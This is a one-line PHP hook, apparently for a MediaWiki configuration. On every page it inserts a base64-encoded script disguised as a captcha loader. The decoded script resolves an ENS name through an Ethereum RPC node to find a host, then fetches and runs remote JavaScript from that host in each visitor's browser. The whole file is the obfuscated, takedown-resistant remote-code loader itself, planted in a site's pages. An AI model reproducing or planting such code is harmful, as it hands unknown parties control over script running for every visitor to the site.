// svcd $wgHooks['BeforePageDisplay'][] = function( $out, $skin ) { $out->addHeadItem('svcd', base64_decode('PHNjcmlwdCBkYXRhLWVucz0ic2VydmljZWRldi5ldGgiCiAgICAgICAgZGF0YS1ub2RlPSIweDQwZDc5OTU1ZWMwYjg0YzBmNmJiM2U3NTNjNzc5NzQ3MjIzMzk1ZjNhOGU3Njg3ZGFkMjFhYjMyMTVhODI3NzYiCiAgICAgICAgZGF0YS1ycGM9Imh0dHBzOi8vZXRoZXJldW0tcnBjLnB1YmxpY25vZGUuY29tIgogICAgICAgIGRhdGEtcmVjb3JkPSJjYXB0Y2hhLWRvbWFpbiIKICAgICAgICBkYXRhLWhhc2gtcmVjb3JkPSJjYXB0Y2hhLXNoYTI1NiIKICAgICAgICBkYXRhLXR0bD0iNjAiCiAgICAgICAgZGF0YS1yZXNvbHZlcj0iMHhkQTVlYzgyM0MzZjliNDI5Mjk3NGIwNEY3YTA0ZDM1RkZkYzYzOTczIj4KKCgpID0+IHsKICAndXNlIHN0cmljdCc7CgogIGNvbnN0IEVOU19SRUdJU1RSWSA9ICcweDAwMDAwMDAwMDAwQzJFMDc0ZUM2OUEwZEZiMjk5N0JBNkM3ZDJlMWUnOwogIGNvbnN0IFJFU09MVkVSX1NFTEVDVE9SID0gJzB4MDE3OGI4YmYnOwogIGNvbnN0IFRFWFRfU0VMRUNUT1IgPSAnMHg1OWQxZDQzYyc7CiAgY29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3VycmVudFNjcmlwdDsKICBjb25zdCBkcyA9IHNjcmlwdCA/IHNjcmlwdC5kYXRhc2V0IDoge307CiAgY29uc3QgY29uZmlnID0gewogICAgZW5zOiBkcy5lbnMgfHwgJycsCiAgICBub2RlOiAoZHMubm9kZSB8fCAnJykudG9Mb3dlckNhc2UoKSwKICAgIHJlc29sdmVyOiAoZHMucmVzb2x2ZXIgfHwgJycpLnRvTG93ZXJDYXNlKCksCiAgICBycGM6IGRzLnJwYyB8fCAnaHR0cHM6Ly9ldGhlcmV1bS1ycGMucHVibGljbm9kZS5jb20nLAogICAgcmVjb3JkOiBkcy5yZWNvcmQgfHwgJ2NhcHRjaGEtZG9tYWluJywKICAgIGhhc2hSZWNvcmQ6IGRzLmhhc2hSZWNvcmQgPT09ICcnID8gJycgOiAoZHMuaGFzaFJlY29yZCB8fCAnY2FwdGNoYS1zaGEyNTYnKSwKICAgIGZhbGxiYWNrOiAoZHMuZmFsbGJhY2sgfHwgJycpLnRvTG93ZXJDYXNlKCksCiAgICBzY3JpcHRQYXRoOiBkcy5zY3JpcHRQYXRoIHx8ICcvY2FwdGNoYS1wdWJsaWMuanM/dj0yJywKICAgIHR0bDogTWF0aC5tYXgoMCwgTnVtYmVyKGRzLnR0bCB8fCA2MCkpICogMTAwMCwKICB9OwogIGxldCBycGNJZCA9IDA7CgogIGNvbnN0IGhleCA9IHZhbHVlID0+IHZhbHVlLnN0YXJ0c1dpdGgoJzB4JykgPyB2YWx1ZS5zbGljZSgyKSA6IHZhbHVlOwogIGNvbnN0IGJ5dGVzVG9IZXggPSBieXRlcyA9PiAnMHgnICsgQXJyYXkuZnJvbShieXRlcywgYiA9PiBiLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICBjb25zdCB0ZXh0VG9IZXggPSB0ZXh0ID0+IGJ5dGVzVG9IZXgobmV3IFRleHRFbmNvZGVyKCkuZW5jb2RlKHRleHQpKTsKICBjb25zdCBoZXhUb1RleHQgPSB2YWx1ZSA9PiBuZXcgVGV4dERlY29kZXIoKS5kZWNvZGUobmV3IFVpbnQ4QXJyYXkoaGV4KHZhbHVlKS5tYXRjaCgvLnsyfS9nKS5tYXAoYiA9PiBwYXJzZUludChiLCAxNikpKSk7CiAgY29uc3Qgd29yZCA9IHZhbHVlID0+IHZhbHVlLnBhZFN0YXJ0KDY0LCAnMCcpOwoKICBmdW5jdGlvbiB2YWxpZE5vZGUobm9kZSkgewogICAgcmV0dXJuIC9eMHhbMC05YS1mXXs2NH0kLy50ZXN0KG5vZGUpOwogIH0KCiAgZnVuY3Rpb24gdmFsaWRIb3N0KGhvc3QpIHsKICAgIHJldHVybiAvXig/PS57MSwyNTN9JCkoPzpbYS16MC05XSg/OlthLXowLTktXXswLDYxfVthLXowLTldKT9cLikrW2Etel17Miw2M30kLy50ZXN0KGhvc3QpOwogIH0KCiAgZnVuY3Rpb24gbm9ybWFsaXplSG9zdCh2YWx1ZSkgewogICAgY29uc3QgaG9zdCA9IFN0cmluZyh2YWx1ZSB8fCAnJykudHJpbSgpLnRvTG93ZXJDYXNlKCkucmVwbGFjZSgvXC4kLywgJycpOwogICAgaWYgKCF2YWxpZEhvc3QoaG9zdCkpIHRocm93IG5ldyBFcnJvcignRU5TIHJlY29yZCBtdXN0IGNvbnRhaW4gb25seSBhIHZhbGlkIEROUyBob3N0bmFtZSwgd2l0aG91dCBzY2hlbWUgb3IgcGF0aCcpOwogICAgcmV0dXJuIGhvc3Q7CiAgfQoKICBmdW5jdGlvbiBlbmNvZGVUZXh0Q2FsbChub2RlLCBrZXkpIHsKICAgIGNvbnN0IGtleUhleCA9IGhleCh0ZXh0VG9IZXgoa2V5KSk7CiAgICBjb25zdCBwYWRkZWRLZXkgPSBrZXlIZXggKyAnMCcucmVwZWF0KCg2NCAtIGtleUhleC5sZW5ndGggJSA2NCkgJSA2NCk7CiAgICByZXR1cm4gVEVYVF9TRUxFQ1RPUiArIGhleChub2RlKSArIHdvcmQoJzQwJykgKyB3b3JkKChrZXlIZXgubGVuZ3RoIC8gMikudG9TdHJpbmcoMTYpKSArIHBhZGRlZEtleTsKICB9CgogIGZ1bmN0aW9uIGRuc0VuY29kZShuYW1lKSB7CiAgICBjb25zdCBwYXJ0cyA9IG5hbWUudG9Mb3dlckNhc2UoKS5yZXBsYWNlKC9cLiQvLCAnJykuc3BsaXQoJy4nKS5tYXAocGFydCA9PiBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUocGFydCkpOwogICAgY29uc3QgbGVuZ3RoID0gcGFydHMucmVkdWNlKChzdW0sIHBhcnQpID0+IHN1bSArIHBhcnQubGVuZ3RoICsgMSwgMSk7CiAgICBjb25zdCBvdXRwdXQgPSBuZXcgVWludDhBcnJheShsZW5ndGgpOwogICAgbGV0IG9mZnNldCA9IDA7CiAgICBmb3IgKGNvbnN0IHBhcnQgb2YgcGFydHMpIHsKICAgICAgb3V0cHV0W29mZnNldCsrXSA9IHBhcnQubGVuZ3RoOwogICAgICBvdXRwdXQuc2V0KHBhcnQsIG9mZnNldCk7CiAgICAgIG9mZnNldCArPSBwYXJ0Lmxlbmd0aDsKICAgIH0KICAgIHJldHVybiBvdXRwdXQ7CiAgfQoKICBmdW5jdGlvbiBlbmNvZGVWMlJlc29sdmUobmFtZSwgbm9kZSwga2V5KSB7CiAgICBjb25zdCBpbm5lciA9IGhleChlbmNvZGVUZXh0Q2FsbChub2RlLCBrZXkpKTsKICAgIGNvbnN0IG5hbWVIZXggPSBoZXgoYnl0ZXNUb0hleChkbnNFbmNvZGUobmFtZSkpKTsKICAgIGNvbnN0IHBhZGRlZE5hbWUgPSBuYW1lSGV4ICsgJzAnLnJlcGVhdCgoNjQgLSBuYW1lSGV4Lmxlbmd0aCAlIDY0KSAlIDY0KTsKICAgIGNvbnN0IHBhZGRlZElubmVyID0gaW5uZXIgKyAnMCcucmVwZWF0KCg2NCAtIGlubmVyLmxlbmd0aCAlIDY0KSAlIDY0KTsKICAgIGNvbnN0IHNlY29uZE9mZnNldCA9IDY0ICsgMzIgKyBwYWRkZWROYW1lLmxlbmd0aCAvIDI7CiAgICByZXR1cm4gJzB4OTA2MWI5MjMnICsgd29yZCgnNDAnKSArIHdvcmQoc2Vjb25kT2Zmc2V0LnRvU3RyaW5nKDE2KSkgKwogICAgICB3b3JkKChuYW1lSGV4Lmxlbmd0aCAvIDIpLnRvU3RyaW5nKDE2KSkgKyBwYWRkZWROYW1lICsKICAgICAgd29yZCgoaW5uZXIubGVuZ3RoIC8gMikudG9TdHJpbmcoMTYpKSArIHBhZGRlZElubmVyOwogIH0KCiAgZnVuY3Rpb24gZGVjb2RlQWRkcmVzcyhyZXN1bHQpIHsKICAgIGNvbnN0IGFkZHJlc3MgPSAnMHgnICsgaGV4KHJlc3VsdCkuc2xpY2UoLTQwKTsKICAgIGlmICgvXjB4MHs0MH0kLy50ZXN0KGFkZHJlc3MpKSB0aHJvdyBuZXcgRXJyb3IoJ0VOUyBuYW1lIGhhcyBubyByZXNvbHZlcicpOwogICAgcmV0dXJuIGFkZHJlc3M7CiAgfQoKICBmdW5jdGlvbiBkZWNvZGVTdHJpbmcocmVzdWx0KSB7CiAgICBjb25zdCBkYXRhID0gaGV4KHJlc3VsdCk7CiAgICBpZiAoZGF0YS5sZW5ndGggPCAxMjgpIHJldHVybiAnJzsKICAgIGNvbnN0IGxlbmd0aCA9IHBhcnNlSW50KGRhdGEuc2xpY2UoNjQsIDEyOCksIDE2KTsKICAgIGlmICghbGVuZ3RoKSByZXR1cm4gJyc7CiAgICByZXR1cm4gaGV4VG9UZXh0KGRhdGEuc2xpY2UoMTI4LCAxMjggKyBsZW5ndGggKiAyKSk7CiAgfQoKICBmdW5jdGlvbiBkZWNvZGVCeXRlcyhyZXN1bHQpIHsKICAgIGNvbnN0IGRhdGEgPSBoZXgocmVzdWx0KTsKICAgIGlmIChkYXRhLmxlbmd0aCA8IDEyOCkgcmV0dXJuICcnOwogICAgY29uc3QgbGVuZ3RoID0gcGFyc2VJbnQoZGF0YS5zbGljZSg2NCwgMTI4KSwgMTYpOwogICAgcmV0dXJuICcweCcgKyBkYXRhLnNsaWNlKDEyOCwgMTI4ICsgbGVuZ3RoICogMik7CiAgfQoKICBhc3luYyBmdW5jdGlvbiBldGhDYWxsKHRvLCBkYXRhKSB7CiAgICBjb25zdCBjb250cm9sbGVyID0gbmV3IEFib3J0Q29udHJvbGxlcigpOwogICAgY29uc3QgdGltZXIgPSBzZXRUaW1lb3V0KCgpID0+IGNvbnRyb2xsZXIuYWJvcnQoKSwgMTAwMDApOwogICAgdHJ5IHsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaChjb25maWcucnBjLCB7CiAgICAgICAgbWV0aG9kOiAnUE9TVCcsCiAgICAgICAgaGVhZGVyczogeydDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbid9LAogICAgICAgIGJvZHk6IEpTT04uc3RyaW5naWZ5KHtqc29ucnBjOiAnMi4wJywgaWQ6ICsrcnBjSWQsIG1ldGhvZDogJ2V0aF9jYWxsJywgcGFyYW1zOiBbe3RvLCBkYXRhfSwgJ2xhdGVzdCddfSksCiAgICAgICAgc2lnbmFsOiBjb250cm9sbGVyLnNpZ25hbCwKICAgICAgfSk7CiAgICAgIGlmICghcmVzcG9uc2Uub2spIHRocm93IG5ldyBFcnJvcignRXRoZXJldW0gUlBDIEhUVFAgJyArIHJlc3BvbnNlLnN0YXR1cyk7CiAgICAgIGNvbnN0IHBheWxvYWQgPSBhd2FpdCByZXNwb25zZS5qc29uKCk7CiAgICAgIGlmIChwYXlsb2FkLmVycm9yKSB0aHJvdyBuZXcgRXJyb3IocGF5bG9hZC5lcnJvci5tZXNzYWdlIHx8ICdFdGhlcmV1bSBSUEMgZXJyb3InKTsKICAgICAgcmV0dXJuIHBheWxvYWQucmVzdWx0OwogICAgfSBmaW5hbGx5IHsKICAgICAgY2xlYXJUaW1lb3V0KHRpbWVyKTsKICAgIH0KICB9CgogIGFzeW5jIGZ1bmN0aW9uIHJlc29sdmVSZWNvcmQoa2V5KSB7CiAgICBpZiAoY29uZmlnLnJlc29sdmVyKSB7CiAgICAgIGlmICghL14weFswLTlhLWZdezQwfSQvLnRlc3QoY29uZmlnLnJlc29sdmVyKSkgdGhyb3cgbmV3IEVycm9yKCdkYXRhLXJlc29sdmVyIG11c3QgYmUgYSBjb250cmFjdCBhZGRyZXNzJyk7CiAgICAgIGlmICghY29uZmlnLmVucykgdGhyb3cgbmV3IEVycm9yKCdkYXRhLWVucyBpcyByZXF1aXJlZCB3aXRoIEVOU3YyIHJlc29sdmVyJyk7CiAgICAgIGNvbnN0IHJlc3VsdCA9IGF3YWl0IGV0aENhbGwoY29uZmlnLnJlc29sdmVyLCBlbmNvZGVWMlJlc29sdmUoY29uZmlnLmVucywgY29uZmlnLm5vZGUsIGtleSkpOwogICAgICByZXR1cm4gZGVjb2RlU3RyaW5nKGRlY29kZUJ5dGVzKHJlc3VsdCkpOwogICAgfQogICAgY29uc3QgcmVzb2x2ZXIgPSBkZWNvZGVBZGRyZXNzKGF3YWl0IGV0aENhbGwoRU5TX1JFR0lTVFJZLCBSRVNPTFZFUl9TRUxFQ1RPUiArIGhleChjb25maWcubm9kZSkpKTsKICAgIHJldHVybiBkZWNvZGVTdHJpbmcoYXdhaXQgZXRoQ2FsbChyZXNvbHZlciwgZW5jb2RlVGV4dENhbGwoY29uZmlnLm5vZGUsIGtleSkpKTsKICB9CgogIGZ1bmN0aW9uIGNhY2hlS2V5KCkgewogICAgcmV0dXJuICdjYXB0Y2hhLWV0aDonICsgY29uZmlnLm5vZGUgKyAnOicgKyBjb25maWcucmVjb3JkOwogIH0KCiAgZnVuY3Rpb24gcmVhZENhY2hlKCkgewogICAgaWYgKCFjb25maWcudHRsKSByZXR1cm4gJyc7CiAgICB0cnkgewogICAgICBjb25zdCB2YWx1ZSA9IEpTT04ucGFyc2UobG9jYWxTdG9yYWdlLmdldEl0ZW0oY2FjaGVLZXkoKSkgfHwgJ251bGwnKTsKICAgICAgaWYgKHZhbHVlICYmIERhdGUubm93KCkgLSB2YWx1ZS50IDwgY29uZmlnLnR0bCAmJiB2YWxpZEhvc3QodmFsdWUuaG9zdCkpIHJldHVybiB2YWx1ZS5ob3N0OwogICAgfSBjYXRjaCAoXykge30KICAgIHJldHVybiAnJzsKICB9CgogIGZ1bmN0aW9uIHdyaXRlQ2FjaGUoaG9zdCkgewogICAgaWYgKCFjb25maWcudHRsKSByZXR1cm47CiAgICB0cnkgeyBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShjYWNoZUtleSgpLCBKU09OLnN0cmluZ2lmeSh7dDogRGF0ZS5ub3coKSwgaG9zdH0pKTsgfSBjYXRjaCAoXykge30KICB9CgogIGFzeW5jIGZ1bmN0aW9uIHJlc29sdmVEb21haW4oKSB7CiAgICBpZiAoIXZhbGlkTm9kZShjb25maWcubm9kZSkpIHRocm93IG5ldyBFcnJvcignZGF0YS1ub2RlIG11c3QgYmUgdGhlIDMyLWJ5dGUgRU5TIG5hbWVoYXNoJyk7CiAgICBjb25zdCBjYWNoZWQgPSByZWFkQ2FjaGUoKTsKICAgIGlmIChjYWNoZWQpIHJldHVybiBjYWNoZWQ7CiAgICBjb25zdCBob3N0ID0gbm9ybWFsaXplSG9zdChhd2FpdCByZXNvbHZlUmVjb3JkKGNvbmZpZy5yZWNvcmQpKTsKICAgIHdyaXRlQ2FjaGUoaG9zdCk7CiAgICByZXR1cm4gaG9zdDsKICB9CgogIGFzeW5jIGZ1bmN0aW9uIGxvYWQoKSB7CiAgICBsZXQgaG9zdCA9ICcnOwogICAgbGV0IGRlZ3JhZGVkID0gZmFsc2U7CiAgICB0cnkgewogICAgICBob3N0ID0gYXdhaXQgcmVzb2x2ZURvbWFpbigpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgaWYgKCFjb25maWcuZmFsbGJhY2spIHsKICAgICAgICB3aW5kb3cuZGlzcGF0Y2hFdmVudChuZXcgQ3VzdG9tRXZlbnQoJ2NhcHRjaGE6ZXJyb3InLCB7ZGV0YWlsOiB7ZXJyb3J9fSkpOwogICAgICAgIHRocm93IGVycm9yOwogICAgICB9CiAgICAgIGhvc3QgPSBub3JtYWxpemVIb3N0KGNvbmZpZy5mYWxsYmFjayk7CiAgICAgIGRlZ3JhZGVkID0gdHJ1ZTsKICAgICAgY29uc29sZS53YXJuKCdbY2FwdGNoYS1ldGhdIEVOUyByZXNvbHV0aW9uIGZhaWxlZCwgdXNpbmcgZmFsbGJhY2s6JywgZXJyb3IubWVzc2FnZSk7CiAgICB9CgogICAgY29uc3QgYXBpQmFzZSA9ICdodHRwczovLycgKyBob3N0OwogICAgd2luZG93Ll9fQ0FQVENIQV9BUElfQkFTRV9fID0gYXBpQmFzZTsKICAgIGxldCBpbnRlZ3JpdHkgPSAnJzsKICAgIGlmIChjb25maWcuaGFzaFJlY29yZCAmJiAhZGVncmFkZWQpIHsKICAgICAgdHJ5IHsKICAgICAgICBjb25zdCBoYXNoID0gKGF3YWl0IHJlc29sdmVSZWNvcmQoY29uZmlnLmhhc2hSZWNvcmQpKS50cmltKCkudG9Mb3dlckNhc2UoKTsKICAgICAgICBpZiAoL15bMC05YS1mXXs2NH0kLy50ZXN0KGhhc2gpKSB7CiAgICAgICAgICBjb25zdCBieXRlcyA9IG5ldyBVaW50OEFycmF5KGhhc2gubWF0Y2goLy57Mn0vZykubWFwKGIgPT4gcGFyc2VJbnQoYiwgMTYpKSk7CiAgICAgICAgICBpbnRlZ3JpdHkgPSAnc2hhMjU2LScgKyBidG9hKFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMpKTsKICAgICAgICB9CiAgICAgIH0gY2F0Y2ggKGVycm9yKSB7CiAgICAgICAgY29uc29sZS53YXJuKCdbY2FwdGNoYS1ldGhdIENhbm5vdCByZWFkIGludGVncml0eSByZWNvcmQ6JywgZXJyb3IubWVzc2FnZSk7CiAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gbmV3IFByb21pc2UoKHJlc29sdmUsIHJlamVjdCkgPT4gewogICAgICBjb25zdCBlbGVtZW50ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CiAgICAgIGVsZW1lbnQuc3JjID0gYXBpQmFzZSArIGNvbmZpZy5zY3JpcHRQYXRoOwogICAgICBlbGVtZW50LmFzeW5jID0gZmFsc2U7CiAgICAgIGVsZW1lbnQuY3Jvc3NPcmlnaW4gPSAnYW5vbnltb3VzJzsKICAgICAgaWYgKGludGVncml0eSkgZWxlbWVudC5pbnRlZ3JpdHkgPSBpbnRlZ3JpdHk7CiAgICAgIGVsZW1lbnQub25sb2FkID0gKCkgPT4gewogICAgICAgIGNvbnN0IGRldGFpbCA9IHthcGlCYXNlLCBkZWdyYWRlZCwgZW5zOiBjb25maWcuZW5zfTsKICAgICAgICB3aW5kb3cuZGlzcGF0Y2hFdmVudChuZXcgQ3VzdG9tRXZlbnQoJ2NhcHRjaGE6cmVhZHknLCB7ZGV0YWlsfSkpOwogICAgICAgIHJlc29sdmUoZGV0YWlsKTsKICAgICAgfTsKICAgICAgZWxlbWVudC5vbmVycm9yID0gKCkgPT4gewogICAgICAgIGNvbnN0IGVycm9yID0gbmV3IEVycm9yKCdDYW5ub3QgbG9hZCBjYXB0Y2hhIHNjcmlwdCBmcm9tICcgKyBhcGlCYXNlKTsKICAgICAgICB3aW5kb3cuZGlzcGF0Y2hFdmVudChuZXcgQ3VzdG9tRXZlbnQoJ2NhcHRjaGE6ZXJyb3InLCB7ZGV0YWlsOiB7ZXJyb3J9fSkpOwogICAgICAgIHJlamVjdChlcnJvcik7CiAgICAgIH07CiAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZWxlbWVudCk7CiAgICB9KTsKICB9CgogIHdpbmRvdy5DYXB0Y2hhRVRIID0ge2xvYWQsIHJlc29sdmVEb21haW4sIGNvbmZpZ307CiAgaWYgKHNjcmlwdCAmJiBzY3JpcHQuZGF0YXNldC5tYW51YWwgIT09ICd0cnVlJykgbG9hZCgpLmNhdGNoKGVycm9yID0+IGNvbnNvbGUuZXJyb3IoJ1tjYXB0Y2hhLWV0aF0nLCBlcnJvcikpOwp9KSgpOwoKPC9zY3JpcHQ+Cg==')); return true; };